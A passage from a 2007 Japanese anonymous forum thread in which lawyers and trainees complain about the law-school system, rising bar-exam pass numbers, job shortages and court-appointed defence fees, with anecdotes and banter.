現実論的には、制度ゆえに優遇されたのなら、制度ゆえに冷遇されても、それもまた社会の姿だ。

796 :無責任な名無しさん:2007/01/08(月) 16:14:39 ID:sXD2HlKB
>>776
> 今の実務家がそういう態度を取るなら、ロー世代はプロボノなんて一切協力せんよ。
> おじいさんおっさんだけでやってよね。

君がいくら頑張っても,ロー世代の多くの新人がプロボノもしない,なんて仕事を選びながら
仕事するのは難しいだろう。そもそも,就職云々の時点でつまずくものも多いのに。
非弁はお引取りを。

うちのボスは,散々ローの悪口をいっていたのに,ローの修習生の弁護修習を受け入れた。
個人の資質だろうが,担当のボス以外の弁には,初日の挨拶もせず,驚いた。
起案を見て,さらに驚いた。



797 :無責任な名無しさん:2007/01/08(月) 16:40:13 ID:nYn7JyzM
上は東大から下は●大まで大学がイッパイできて、
しかも、誰でも大学に入るいまどき、
大学出ましたというだけで、その看板、中身も見ないで人を雇う企業はないよね。

司法試験も、平成、水増し時代に入ってからは同じ評価、位置づけだよ。
ロー、新試はこれに拍車をかけているだけ。
古くは帝国大学、近くは、医師、建築士、公認会計士など、すべて同じ道をたどっている。
所詮、少数精鋭をとるか、粗製濫造をとるかは、その時代の社会からする選択の問題。



798 :無責任な名無しさん:2007/01/08(月) 16:59:51 ID:F7NY86ck
なんかロー制度の批判になってるけど
旧組は結局基礎体力は独学でつけてただろ?
ロー生だって独学でやりゃいいんだよ。

はっきりいって2〜3年勉強した奴らを3000人受からせる試験で
基礎体力を確保できる制度なんて有り得ないだろ。

ローが頓珍漢でもロー生の大半が馬鹿でも
合格者を絞れば何も問題ない。基礎体力のある奴しか受からなくなるから。

結局合格数が多すぎることが唯一の問題。



結論としては、合格者数を減らせ!どう運動したら減らせるんだ?

799 :無責任な名無しさん:2007/01/08(月) 17:02:46 ID:TPlJ51Sy
>>798
必要性がないのに独学で身につけることはしない。つまり,実際に試験でその技術が必要でなければ誰も必死で
勉強しないな。

800 :無責任な名無しさん:2007/01/08(月) 17:04:57 ID:mpGCW2eQ
2回試験で大量虐殺するほかなかろう。

801 :無責任な名無しさん:2007/01/08(月) 17:08:48 ID:sWFpHdRB
いずれにせよ今年は半分前後就職にあぶれるわけだ
考えても仕方がない

802 :無責任な名無しさん:2007/01/08(月) 17:52:37 ID:HGRs7C9H
他スレで知ったんだが、
ttp://www.asahi.com/kansai/news/OSK200612230052.html
これって、どういう事情だったんだろう?

なんか、この先弁護士やっていってもあんまりいいことなさそうだな。

803 :無責任な名無しさん:2007/01/08(月) 18:06:30 ID:md6dQojl
違法行為をしなきゃつけこまれることはないだろう

804 :無責任な名無しさん:2007/01/08(月) 19:35:24 ID:ZrAxD22d
>>諸先輩方
昨年旧司法試験に受かったものですが
かつての受験仲間で択一30点前後で旧試験からドロップアウトした連中が
複数名第1期新司法試験合格者として修習に行ってます
ぜひ彼らの力を見てあげてください

805 :無責任な名無しさん:2007/01/08(月) 19:36:42 ID:ZrAxD22d
>>802
兵庫県・7億脅し取る

どういう素性か(以下略

806 :無責任な名無しさん:2007/01/08(月) 19:58:17 ID:/BARlPIl
>>791
曲がりなりにも旧試験の経験がある去年の合格者ですら評判が良くないのだから
今後法科大学院ルートで来るであろう人の質にはなおさら不安を覚える。

実際周りの同業(弁護士だけじゃなくて判事検事も)に聞いてもいい評判はほとんど聞かない。
法科大学院の教育能力に疑問を感じる。

ある実務家教員に聞いた話だと法科大学院の入学試験は法律の試験だけで合否を決めるのではなく
経歴とか年齢とか面接などで総合的に判断して合否を決めるそうだ。だから法律の力があっても経歴が
悪い、学部成績が悪い人は足切りされたりして入学が難しいらしい。
さらに法学未習者には法律の試験を課さない。企業の採用試験のようなイメージらしい。
だから有名ロースクールの学生でも法律の基礎力は必ずしも当てにならないのだと。

俺はてっきり民法や刑法といった法律の一発試験だけで合否を決めてるのかとなんとなく思ってたが
実態は内部生にはゲタをはかせたり女性を優遇したり事実上の年齢制限を設けて20代後半以上はほぼ
書類選考で足切りしたりとかなり公平性に疑問のある選抜方法なのだと。
選抜に主導権を持つのは学者教員なので実務家教員には権限があまりないので学者受けのする従順な
若年者ばかりが法律の基礎力は二の次で選ばれてるのが実情なのだと。
もちろんすべてのロースクールに当てはまる訳では無いとは思うが。


807 :無責任な名無しさん:2007/01/08(月) 20:26:52 ID:ZWr+SP3c
古い実務家たちにここまで
俺たちがねたまれていたとは!

人気者ほど叩かれるのが通常だし、
あとは悪貨を駆逐するだけだな!


808 :無責任な名無しさん:2007/01/08(月) 20:31:38 ID:g/WJfgGc
>>807
そりゃ成績が悪くても合格できたのなら妬みますよ
あとは先輩の指導に頼らず自助努力してください

809 :無責任な名無しさん:2007/01/08(月) 20:32:12 ID:SEV2b87C
>>807
自分たちが悪貨で、これまでの弁護士=良貨を駆逐しよう、っていうんだろw

まあ、既存の弁護士にも酷いのがいるが、それでも修習当時は今の修習生よりは
ずっとまともだった。新試験は修習生段階で既にひどいのがたくさんいるから、
これが弁護士になった後ろくに勉強しないとどうなるか・・・

確かに新試験組でも上位500人ぐらいは旧試験でも何とかなったと思うよ。
でもそれ以下はねぇ・・・

810 :無責任な名無しさん:2007/01/08(月) 20:35:17 ID:iApu4SLb
選抜に主導権を持つのは学者教員なので実務家教員には権限があまりないので学者受けのする従順な
若年者ばかりが法律の基礎力は二の次で選ばれてるのが実情なのだと。

横道にそれるが
おれは早稲田出身なんだけど母校がこうなっていないか心配。
教授どもがこういう子ばっかり採ってないだろうか。
いままでと全然カラーが変わると後輩にシンパシーを感じられなくなるよ。

811 :無責任な名無しさん:2007/01/08(月) 20:36:29 ID:ZWr+SP3c
妬め、妬め!
どうせあと何年かすれば俺たちが主流派だ!
そんとき泣いても知らないからな!

812 :無責任な名無しさん:2007/01/08(月) 20:40:05 ID:+dShQ+6u
そりゃ泣きたくもなるよ。
あんな奴らが”主流派”になったりしたら。

813 :無責任な名無しさん:2007/01/08(月) 20:40:10 ID:T3rZTFaW
>>802
この先生、とにかく依頼者の筋が悪かった。シーガ○アを作ったあの人や
病院乗っ取りグループからも依頼を受けてたと思うな
この手合いと付き合うと巨額の報酬が貰えるが、危ない仕事をさせられて
結局何時か地雷を踏むことになる。奴らの方が何枚も上手だ
若手諸君はくれぐれも気をつけて

814 :無責任な名無しさん:2007/01/08(月) 20:41:17 ID:WaMKqGRM
「人気者ほど叩かれる」
      ↓
 叩かれるから人気者

という論理構造がすばらしい。
まあロー卒が弁護士会で過半数を占めるようになったら、
弁護士60歳定年制でも議決してくださいな。

815 :無責任な名無しさん:2007/01/08(月) 20:46:08 ID:ZWr+SP3c
必死だな!

まあ、俺は大手に決まってるから勝ち組!

あとは優雅にやらせてもらうさ!

じゃっ!

816 :無責任な名無しさん:2007/01/08(月) 20:46:16 ID:nIhl1D/Q
新人の話なんかどうでもいい。
業界自体先細り確実だから、
早く仕事しなくても生活できる蓄えをすることしか考えてない。
新人たちも今時この道に入ってくるなんて物好きだねぇ。

817 :無責任な名無しさん:2007/01/08(月) 21:08:27 ID:T3rZTFaW
俺はちょうど30期半ばの町弁だが、大増員が決まってからひたすら金儲けに励んで
今弁をやめても一生遊んで暮らせるだけの蓄えができたよ
後2、3年はまだ増員の影響もないから、更にがんばって稼ぐよ
息子に跡は継がせない、医師にさせるつもりだ。
若手弁と結婚が決まって有頂天になってる女の子を見たがホンと哀れだね。
何も知らないで。
破綻発表直前の夕張市職員と結婚するようなもんだ。

818 :無責任な名無しさん:2007/01/08(月) 21:15:48 ID:g/WJfgGc
クラスアクション制度ができたら日弁連が被告になりそう
いや被告にしよう
旧経営陣も共同被告にして

819 :無責任な名無しさん:2007/01/08(月) 21:17:24 ID:hF5TnBIH
一生遊んで暮らせるだけの蓄えって、どれくらい?
3億くらい?

820 :無責任な名無しさん:2007/01/08(月) 21:20:54 ID:T3rZTFaW
その倍ぐらいは欲しいね

821 :無責任な名無しさん:2007/01/08(月) 21:26:20 ID:+EcXAH+z
まあ、検察庁一人勝ちの構図だね。
裁判所もロー弁に悩まされるわけだし。

822 :無責任な名無しさん:2007/01/08(月) 21:28:45 ID:QyQF+UfH
新司法試験の合格者人数は法律や政令で定められていない。
どうすれば減らせるのかわからないようになっている。

823 :無責任な名無しさん:2007/01/08(月) 21:33:09 ID:g/WJfgGc
検察庁は,実力上位層を掬い取ってレベル維持だろうから,
レベルダウンのロー弁が相手とは,ほくそ笑むところではないか。

824 :無責任な名無しさん:2007/01/08(月) 21:34:52 ID:jpa2So2J
■ おすすめ2ちゃんねる 開発中。。。 by FOX ★
このスレを見ている人はこんなスレも見ています。(ver 0.20)
★★ロー制度【崩壊】カウントダウン59★★ [shihou]
★弁護士過剰「2007年問題」6★ [shihou]
現行61期司法修習スレ-2- [shihou]
【仕事は】司法修習59期Part33【順調?】 [shihou]
伝説の58期スレ [shihou]

このスレからリアル弁護士は駆逐されたようだね。
新60期煽りは司法板でやりゃいいのに

825 :無責任な名無しさん:2007/01/08(月) 21:36:01 ID:QyQF+UfH
>>821
脇の甘い弁護士・危ない橋を渡る弁護士が増えて,年に何十人も弁護士を被告人として起訴できそうだしね。

826 :無責任な名無しさん:2007/01/08(月) 21:40:06 ID:T3rZTFaW
>>823
そうかな?
優秀な人間はローにいかないで、企業や公務員に行くので
法曹界全体のレベルが下がるんじゃないかな?

827 :無責任な名無しさん:2007/01/08(月) 21:40:12 ID:QyQF+UfH
せめて俺らが新試験組のためにやってあげられることといえば,国選報酬の増額をもっと強く国に要求することくらいだな。


828 :無責任な名無しさん:2007/01/08(月) 21:42:45 ID:QyQF+UfH
新任検事は別に優秀じゃなくても検察庁は困らない。
所詮は将校(決裁官)の言うとおりに動かざるを得ない兵隊だからね。
むしろ,頭がないほうが使える。

検事任官者が増えても,検事正のポストは以前と変わらない。
これからは検事正になれるのが2〜3人に1人になる。
今後は検察庁でも優秀なのだけ将校になれるようなしくみになる。

829 :無責任な名無しさん:2007/01/08(月) 21:44:23 ID:WaMKqGRM
>>828
それはもう既にそうなっているような。

830 :無責任な名無しさん:2007/01/08(月) 21:54:38 ID:jpa2So2J
>>826
公務員辞めてローに来たヤツも1期では少なくない

831 :無責任な名無しさん:2007/01/08(月) 21:59:16 ID:jpa2So2J
>>828
司法試験合格者数480人前後
任検50人前後の時代でも
検事正になれるのは3人に1人と言われていた。
ポスト数は50しかない。
1年やっただけで昇進したり辞職するわけでもない。
そんな常識も知らないお前は非法曹

832 :無責任な名無しさん:2007/01/08(月) 22:00:18 ID:+EcXAH+z
公務員で芽が出ない奴の吹き溜まりが法曹界ってね。

833 :無責任な名無しさん:2007/01/08(月) 22:09:19 ID:QyQF+UfH
>>831


834 :無責任な名無しさん:2007/01/08(月) 22:11:33 ID:g/WJfgGc
>>831
あのですね。
検事は検事正レベルになるまで2〜4割は辞めるのですよ。
だから50人時代は,ほぼ90%が検事正経験者で辞めてます。
検事正相応ポストの最高検検事や高検次席や法総研所長や公安庁次長……をカウントしない貴方は部外者。
検事正相応ポストは80人前後なんですよ。

835 :無責任な名無しさん:2007/01/08(月) 22:16:12 ID:DZa297jT
本当にこれからの人は可哀想だ。会費を引くと実年収400万円以下で残業代なしでこき使われるのだろうか。
○坊の事務所に行った同期はすぐやめてしまった。
それよりもいくら気力、体力、基礎学力があっても、こき使われて勉強する時間がないと、その時点で、弁護士としてそれ以上伸びないで終わりになってしまうのではあるまいか。




836 :無責任な名無しさん:2007/01/08(月) 22:30:32 ID:F7NY86ck
>>824

頭悪いねきみ。

58〜61期スレを見てるやつが多いからって
リアル弁護士が駆逐されたことになるのか?

どういう脳みそしてるの?

837 :無責任な名無しさん:2007/01/08(月) 22:35:33 ID:DZa297jT
まあ、かく言う俺も、817先生のように、大増員が決まってから、半分は会務、プロボノ活動しつつも、残り半分は将来を見据えて自己保身の為の蓄財活動をしてきた。
でもまだ一生食えるだけの4分の1も貯まらない。俺ら町弁の将来はあと10年あるかどうかその間に蓄財しなくてはと不安になることもある。
ああ、でももっと誇り高い人権活動の話題か、将来食っていける分野や有望な投資話の話題にするか否か、それが問題だ。

838 :無責任な名無しさん:2007/01/08(月) 22:39:12 ID:QyQF+UfH
ちゃんと稼いで,それなりの生活をして品位を保持して,公益事件・プロボノ活動・非効率事件をやるというスタイルを
やりたくてもやりにくくなることは間違いない。競争をさせられるとね。

839 :無責任な名無しさん:2007/01/08(月) 22:42:21 ID:+EcXAH+z
プロボノなんて始めからやる気が無い
ニュージェネレーションが何を言うのやら。

840 :無責任な名無しさん:2007/01/08(月) 22:47:43 ID:/BARlPIl
>>835
大阪にはイソ弁をこき使うことで評判の良くないタコ部屋と呼ばれている事務所がいくつかある。
某氏の事務所も過酷な勤務状況でその筋では有名だった。

841 :無責任な名無しさん:2007/01/08(月) 22:47:55 ID:DZa297jT
あらら、プロボノって、国選や市役所の法律相談も入るのでしょ。「プロボノ活動」って、言葉とそれを使っている奴らは嫌いだけれど、その程度だったら自主的に協力するよ。仕事にはならないけれど社会・現場で何が起きているかマスコミには乗らない情報も得られるしね。

842 :無責任な名無しさん:2007/01/08(月) 23:28:38 ID:DZa297jT
ついでに言うと町弁(ゴミ拾い)の俺は自分の仕事に誇りを持っているし、仕事=公益的活動、プロボノ(きざな言葉使うな)と思っている。
新60期がどうなろうと俺は知らない、どうでもいい。3000名に増員して、合格率80%にすれば、就職先もないし、品位も質も落ちるの分かりきっているだろうと思っていた。
だからそれは自己責任じゃないの。でも、少し救済してあげないとね。馬鹿弁連執行部が言論封殺と白紙委任状で決議して決めたことだからね。
 でも、ロー出の合格者の一部で鼻持ちならないので、高級法曹気取りして町弁馬鹿にしたり、していること。あんたらも屑拾いこれからやるんだよ。
ああそう、あんたは大ローファームに就職内定。可哀想に。人間性殺して。死ぬとき人生振り返って後悔するよ。邯鄲の夢って言葉知っているかな。
それと、ロー出はローに合格したとたん、浮かれて、死ぬような勉強していないんじゃない。それじゃ、弁護士としてやっていく根性、魂養われていないよ。
それに薄く広くで民法等基本法を深く理解せず、かつ苦労もしないと、自治体の無料市民法律相談できないよ。
さっき、プロボノしないというロー出身者がいたけど、しないんじゃなくてできないよ。



843 :無責任な名無しさん:2007/01/08(月) 23:32:00 ID:g/WJfgGc
>プロボノしないというロー出身者がいたけど、しないんじゃなくてできないよ。

 禿同
 そもそも真の意味でマトモに法律相談ができないのだから

844 :無責任な名無しさん:2007/01/08(月) 23:37:40 ID:+EcXAH+z
無料法律相談を、「無料でやる」日が来るんですかね。

845 :無責任な名無しさん:2007/01/08(月) 23:38:35 ID:QyQF+UfH
昨今でも,刑法感覚をすっかり忘れた渉外のアソたちのせいで,会社の幹部が逮捕起訴されちゃったようなケースもあるし。
基礎体力がないまま大手渉外に行って,プロボノ(≒修行・社会勉強・雑用)もせずに働いて働いて働いて・・・。
高尚な仕事だと思ってるんだろうが,弁護士の仕事はどこへ行っても「他人のしたクソの掃除」であることは変わらないよ。

846 :無責任な名無しさん:2007/01/08(月) 23:43:16 ID:g/WJfgGc
社会の病理現象(社会的汚物)の事後処理に人生をかけるのが弁護士だし
いきがったロー生のカキコは悲惨を超えて哀れみを感じる

847 :無責任な名無しさん:2007/01/09(火) 00:20:19 ID:p5NYGzj5
>>845
>昨今でも,刑法感覚をすっかり忘れた渉外のアソたちのせいで,会社の幹部が逮捕起訴されちゃったようなケースもあるし。
kwsk。ちゃんとソースも示してね。

848 :無責任な名無しさん:2007/01/09(火) 00:32:21 ID:Vtsl3ngk
>>846
> 社会の病理現象(社会的汚物)の事後処理に人生をかけるのが弁護士だし
> いきがったロー生のカキコは悲惨を超えて哀れみを感じる

渉外の人はそういう仕事じゃないんじゃないの?

849 :無責任な名無しさん:2007/01/09(火) 00:33:35 ID:00968d0G
>>847
M社のことだろ。
守秘義務があるから詳しく書けるわけないだろ。

850 :無責任な名無しさん:2007/01/09(火) 00:34:30 ID:a3jD3wGq
>>848
いえいえ
詰めていくとM&Aや上場だってドロドロした人間模様が満載ですよ

851 :無責任な名無しさん:2007/01/09(火) 00:35:30 ID:00968d0G
渉外の仕事は,一部,美容整形外科や産婦人科みたいなところはあるだろうね。
内科・外科・循環器科みたいな普通の弁護士とは取り扱う事案が違うかもしれないね。

852 :無責任な名無しさん:2007/01/09(火) 00:36:30 ID:00968d0G
美容整形を受けに来る人が心身共に健全といえるか?
産婦人科に堕胎をしに来る人は「病気ではない」といえるか?
という問題ですな。

853 :無責任な名無しさん:2007/01/09(火) 00:40:30 ID:Vtsl3ngk
>>850
> >>848
> いえいえ
> 詰めていくとM&Aや上場だってドロドロした人間模様が満載ですよ

そりゃ詰めていけばどこの誰だってドロドロした人間模様はあるだろw

渉外と街弁はまったく同じ職業とは思えないほど違うと思うけどな。


854 :無責任な名無しさん:2007/01/09(火) 00:46:56 ID:4muNniBj
>>840
詳しく

855 :無責任な名無しさん:2007/01/09(火) 00:51:50 ID:a3jD3wGq
>>854
企業の内紛に巻き込まれとか鼻持ちならない経営者とか騙し合い探りあいとか……。
下手に社会的地位が高いと思っているクライアントだと鼻が持てないくらい高い。
それで鼻持ちならないのかwと一人合点。
平気で弁護士まで騙そうとしたり……。
それで私は嫌気がさして今の町弁。

856 :無責任な名無しさん:2007/01/09(火) 00:53:18 ID:Vtsl3ngk
>>855

あなたは渉外を辞めて街弁に移った先生?

857 :無責任な名無しさん:2007/01/09(火) 00:56:49 ID:W3mRGW8l
相手方や依頼人が弁護士を騙そうとするのは、街弁やってても同じではないかと。

858 :無責任な名無しさん:2007/01/09(火) 01:00:43 ID:zeAnWmj1
そのとき、依頼者と喧嘩したり、断ったり、俺はこいつのために時間を割いてもいいと思う奴の仕事だけできるのが町弁だ。それがちがう

859 :無責任な名無しさん:2007/01/09(火) 01:02:21 ID:a3jD3wGq
>>855
途中経過を省けばそうです。

>>857
高飛車の騙しで鼻持ちならないDQNというオプションが一杯ついてました。
思いつきや聞きかじりで「あれやれ」「これはどうだ」と。
そんなDQN依頼者を若手に押し付けてちゃっかり稼ぐ事務所(どこもそうかも)。
街弁の方が精神的に楽で収入も増えたのは意外でした。

860 :無責任な名無しさん:2007/01/09(火) 01:04:08 ID:a3jD3wGq
>>858
ホントそうですよね。
アソシエイトと持ち上げられても所詮はイソ弁。
断れないDQN仕事に神経すり減らしてました。
街弁で仕事を断れる快感と安堵。

861 :無責任な名無しさん:2007/01/09(火) 01:08:51 ID:a3jD3wGq
PS:
大会社の法務部の中には障害弁護士に異常な敵愾心を燃やす方がいます。
「障害弁護士なのにフランス会計法も知らないんですか?」という類。
しばらくしてから司法試験断念組(ただしフランス留学を鼻にかけている)とわかりました。

862 :無責任な名無しさん:2007/01/09(火) 01:11:01 ID:W3mRGW8l
高飛車に鼻持ちならないね。
なるほど。それは大変かも。

まあ僕は街弁のイソ弁なので嫌な仕事を断れる立場ではないのですが。

863 :無責任な名無しさん:2007/01/09(火) 01:11:44 ID:Vtsl3ngk
>>859
> >>855
> 途中経過を省けばそうです。

途中経過ってどんなのですか?

街弁の方が儲かるんですね。
まあ人によるでしょうけど。
あなたは東京で開業してるんですかね。

864 :無責任な名無しさん:2007/01/09(火) 01:14:26 ID:a3jD3wGq
>>863
特定されると困るので所在地は勘弁で。
途中で大学院と精神病院を経由しました。

865 :無責任な名無しさん:2007/01/09(火) 01:16:14 ID:Vtsl3ngk
>>864
> >>863
> 特定されると困るので所在地は勘弁で。

そうですね。
大変失礼しました。


866 :無責任な名無しさん:2007/01/09(火) 01:20:22 ID:a3jD3wGq
>>865
いえいえ,ご配慮ありがとうございます。
途中経過がチト特殊なので(特定怖い)。
皆様,抑うつ状態とか自律神経失調症(ウツ病)とか診断されたら気軽に精神科や神経科を訪問されるといいですよ。
第三世代の精神薬は後遺症(薬物依存)や副作用が少なくて昔に比べれば早く軽快します。

無理して標準語使ってることから察してください。

867 :無責任な名無しさん:2007/01/09(火) 01:21:13 ID:p5NYGzj5
街弁のイソ弁もDQN仕事を断れないのは全く同じで、
DQN率は一般の方が大概高いのも周知の事実と思うが。

つ詭弁のガイドライン「ごく一部の例を・・・」

868 :無責任な名無しさん:2007/01/09(火) 01:25:05 ID:a3jD3wGq
>>867
それは一人一人の性格の違いによるものではないでしょうか。
「鼻高DQNをアシラウのが面白い」という同僚もいましたし。
私の性格がたまたま街弁向きで障害や学者に向いてなかっただけだと。

869 :無責任な名無しさん:2007/01/09(火) 01:43:00 ID:zeAnWmj1
>>867
街弁のイソ弁もDQN仕事を断れないのは全く同じ
それはそのとおり。早く独立しようよ。
>DQN率は一般の方が大概高いのも周知の事実
これもそのとおり。だからDQNで助けたい奴の仕事をやりたいのが町弁の醍醐味。
>866
俺も自分で開業してて断り切れないでやりすぎたら倒れて病気になった。ドグマチールとかトレドミンとか処方されても効かないので数年苦しんだが、アモキサンが効いて病気が激変して解放に向かった。今は仕事を遣りすぎないようにセーブしている。がんばれ。


870 :無責任な名無しさん:2007/01/09(火) 06:10:15 ID:HIsjL2a6
北海道の田舎に行って働きたいんだけど本当に弁護士不足なんでしょうか?
色々リサーチしたら01地域といわれるところでもかなりの書士さんがいて
彼らが法律相談やってるからさほど必要ないという話が出てきてるんですが

871 :無責任な名無しさん:2007/01/09(火) 06:20:15 ID:ZkT257e8
映像>>NHK紅白で裸の女性ダンサー?異例の謝罪
http://bluetree.501megs.com/tube.htm

872 :無責任な名無しさん:2007/01/09(火) 10:18:37 ID:bzxKJVYi
たぶん3年後にグレーゾーン金利がなくなった時点で、弁護士業界の売上が激減し
一部の大事務所を除いてほとんどの事務所で収入が減少する。若手は事務所維持が困難になる。
若手はその後約3年間で蓄えを食いつぶし、筋悪事件に手を出したり、事件屋の手先に
なったりして、不祥事が続発する。

873 :無責任な名無しさん:2007/01/09(火) 11:19:51 ID:upms3lgd
>>869
独立すべきか他の仕事に移るべきか正直迷っています。

874 :無責任な名無しさん:2007/01/09(火) 11:23:25 ID:8pQTSVHt
>>606
私もそう思う。
これだけの大増員に対応するパイの増加を実現するためには、かなりの荒事が必要。
つまりはカネを持っている企業から引っぱってくるしかない。
ただし、懲罰的損害賠償を導入するためには消費者、市民側からの強力な圧力がないと
不可能だが、その見込みは極めて薄いか。

正直将来の展望が開けないが、一生食っていけるほどの蓄えもなし。
食えなくなったら、企業内弁護士になろうかと漠然と考えている。
たまたま家族がそこそこの企業を経営しているからだけど。

875 :無責任な名無しさん:2007/01/09(火) 11:28:58 ID:myi2LeMb
弁護士同士,喧嘩してもまったく仕方ないよ(;´Д`)
俺は,受験生やローの人も「司法改革」の被害者だと思うよ。
少なくともこの点の利害関係は一致するんだから,
全員で弁護士人員増大への反対ということで協力していかないと。

学者は日経新聞で相変わらずこんなトンチキなことを言ってるし。(続く)

876 :無責任な名無しさん:2007/01/09(火) 11:29:46 ID:myi2LeMb
日本経済新聞 1月8日付け朝刊 21面

「法科大学院制度(以下「ロー」という)実現に大きな役割を果たした奥島孝
康早大総長は、新司法試験に留学生向けの特別合格枠を設け、ロー国際化を促
進すべきと提言」

 外国人もローに行けば司試の受験資格を得られるが、合格は難しい。その理
由は「合格枠がきわめて小さいからである」。
「2006年に実施された第1回新司法試験の合格者は1009人にすぎず、…48.25
パーセントである。…当初計画された7,80%の合格率はまさに夢物語にすぎ
ない。…司法国家を担うべき新しい法曹は、質はもとより量についても十分考
慮しなければならない」
「法科大学院には国際性の涵養が求められている。…外国人学生に日本の法曹
資格を取得させる制度作りにもっと努力すべきであろう」
「日本の法曹資格の取得のために、日本語を駆使できることは当然の大前提で
ある。…しかしそれに加えて、最難関の競争試験の突破を必要とするというの
は、外国人にとってあまりに酷」「日本人合格者の枠外に3パーセント程度の
外国人枠を追加することは、政策的に十分考慮の余地がある」

「ところが、ここにもう一つの壁が出現しようとしている。…予備試験である。
この試験は…経済的理由などから法科大学院へ進学できない者に、法曹への道
を開こうというものである。いかにももっともらしい理由であるが、…法科大
学院に対し奨学金などの財政的支援を手厚くすれば足り…それが筋というもの」

877 :無責任な名無しさん:2007/01/09(火) 11:44:06 ID:bzxKJVYi
懲罰的損害賠償か。俺も数年前にだいぶ研究して、朝日新聞に投稿したことがあるが
あっさり没にされたよ。

878 :無責任な名無しさん:2007/01/09(火) 12:27:20 ID:DIvPkufU
>>875
酷い記事ですね

879 :無責任な名無しさん:2007/01/09(火) 13:03:42 ID:C4r6MjWw
少し勉強して,司法書士業務や税理士業務を浸食していこうかなとも思っている。
弁護士業務の中で,銀行さんとそれなりに仲良くなっておく必要があるが。

880 :無責任な名無しさん:2007/01/09(火) 13:23:06 ID:p1n0kwE7
>>876
オマエラドコまでひ弱なんだよ。邪魔だ。イラネェから研究室から出てくるな。

と言いたくなるわな。

881 :無責任な名無しさん:2007/01/09(火) 13:35:03 ID:faSujTVB
>>876
同じ新聞の少し前の頁には,企業内弁護士なんて要らないし,入れても他のサラリーマンと特別待遇何かしないよ
って記事が載ってるってのに....ばかか

882 :869:2007/01/09(火) 13:54:57 ID:zeAnWmj1
>>873
ボス弁が尊敬できないなら独立してはどうですか。地方・地域によってはまだ十分パイがある。それでもだめだったら、転職すればいいのでは。転職を先に考えるのはどうかと。

883 :無責任な名無しさん:2007/01/09(火) 14:54:03 ID:kNGLWykL
地方の場合。
弁護士人口が少なくて、現在の被疑者弁護制度が開始しただけで、
国選を引退していた大御所弁護士も半ば義務的に名簿に登録して国選やらせる状態。
将来の全件被疑者弁護体制になったら、ほぼ確実にパンクする。

で、就職難の関係で、こんな小さい地方の弁護士会にもかなりの就職希望者があるのだが、
これを受け入れられる事務所がほとんどない。
ほとんどの事務所が一人事務所で、複数の弁護士を置く余裕がないから。

884 :無責任な名無しさん:2007/01/09(火) 14:58:08 ID:v5mu/rHC
そこで、新人弁護士用の予備校ビジネスですよ。

885 :無責任な名無しさん:2007/01/09(火) 15:16:06 ID:Vtsl3ngk
被疑者弁護っていくらもらえるんだ?

そこ値上げしてくれないと破産者続出だよ。

886 :無責任な名無しさん:2007/01/09(火) 15:39:20 ID:kNGLWykL
>>885
基礎報酬は6万4000円。
基礎報酬は4日に1回のペースで接見に行くことを想定してて、
それを超える回数接見に行くと、報酬追加。
起訴された段階で、被疑者弁護分の報酬が清算されて払われる。

887 :無責任な名無しさん:2007/01/09(火) 15:46:40 ID:Vtsl3ngk
>>886
> >>885
> 基礎報酬は6万4000円。
> 基礎報酬は4日に1回のペースで接見に行くことを想定してて、
> それを超える回数接見に行くと、報酬追加。


それを超える、って何回を超えること?

888 :無責任な名無しさん :2007/01/09(火) 16:00:48 ID:FhjffBgw
http://society4.2ch.net/test/read.cgi/hosp/1163862967/l50

974 :卵の名無しさん :2007/01/09(火) 15:55:05 ID:ONCTGwqu0
専門職の女とケコンしたらほんとに離婚時安く済むのか?
こっちが悪くても?
浮気しても、DVしても?
法律上では相手に所得がある場合慰謝料はほんとに安上がりになる訳?
専門家に聞いてみたいなあ


975 :卵の名無しさん :2007/01/09(火) 15:56:26 ID:ONCTGwqu0
まあそれは極端か
性格の不一致ってやつは?
相手に思いやりが無かった、みたいな離婚も安く上がるのかなあ


889 :無責任な名無しさん:2007/01/09(火) 16:33:32 ID:upms3lgd
しかしながら被疑者弁護ってそんなに件数ないでしょ
タダでさえここ数年若手の登録が多いのに

890 :無責任な名無しさん:2007/01/09(火) 16:36:35 ID:upms3lgd
>>882
ありがとうございました。
それほど若くないので,借金して,数年やって,借金を返し終わるころには年を取ってて環境も厳しくって,
「それでは無一文で国選ガンバってください」ってなるのが嫌で。

他に行くのだったら今しかないんだろう的な発想ですかね。


891 :無責任な名無しさん:2007/01/09(火) 16:48:19 ID:btQpIUs+
http://jurakudai.com/kenjin/

さあみんなボケて

892 :無責任な名無しさん:2007/01/09(火) 17:16:35 ID:8pQTSVHt
憲法と人権 覊束裁量大吟醸

893 :無責任な名無しさん:2007/01/09(火) 17:21:23 ID:8pQTSVHt
連投スマソ
しかしスレ消化はえーw

憲法と人権 幸福追求権説
憲法と人権 財産権説
憲法と人権 人権性否定説

894 :無責任な名無しさん:2007/01/09(火) 18:13:59 ID:OEmS+2dJ
そろそろ、MSセンセをお呼びしないとw

895 :無責任な名無しさん:2007/01/09(火) 18:47:25 ID:bzxKJVYi
>> http://headlines.yahoo.co.jp/hl?a=20070109-00000039-mai-bus_all
<店舗閉鎖>消費者金融「ディック」320店を50に 

さあ、いよいよ信用収縮の嵐が始まった。
この時期に弁護士だけが増え続けるなんてまさに狂ってるね。

896 :無責任な名無しさん:2007/01/09(火) 19:11:17 ID:C4r6MjWw
>>889
数年後には被疑者国選の対象事件が広がるので爆発的に増える。
といっても,弁護士業界にとっては負債が増えるような話。

897 :無責任な名無しさん:2007/01/09(火) 19:11:56 ID:C4r6MjWw
憲法と人権 職業選択の自由アハハン
憲法と人権 法タライマワス
憲法と人権 弁護士の生存権


898 :無責任な名無しさん:2007/01/09(火) 19:17:02 ID:BDN0MQM2
広く浅いロー弁より、一点集中型の各専門資格(司法書士、弁理士など)に客がながれてもおかしくないよな。
ルパンより、次元やゴエモンが人気あるのと同じよ

899 :無責任な名無しさん:2007/01/09(火) 19:22:37 ID:TUP9dnPw
【不二子ちゃんが】弁護士本音talkスレPart29【好き】

900 :無責任な名無しさん:2007/01/09(火) 19:53:29 ID:C4r6MjWw
広く浅いながら,専門的であることを装う広告をすればいいんでないかい?
電話帳では一般民事専門として,各種団体では企業法務のプロとして,電車では債務整理のプロとして広告を打つ。

901 :無責任な名無しさん:2007/01/09(火) 20:36:53 ID:77arpPA2
【ローは】弁護士本音talkスレPart29【出たけれど】


902 :痴呆初志:2007/01/09(火) 20:46:42 ID:NO12mFgw
おまえら仕事がなくても登記はやるなよはあと

903 :無責任な名無しさん:2007/01/09(火) 20:55:54 ID:a3jD3wGq
これからは行政書士の職域を侵食しましょう
資格はあるから

904 :無責任な名無しさん:2007/01/09(火) 20:56:45 ID:Vtsl3ngk

隣接資格を廃止しろ。



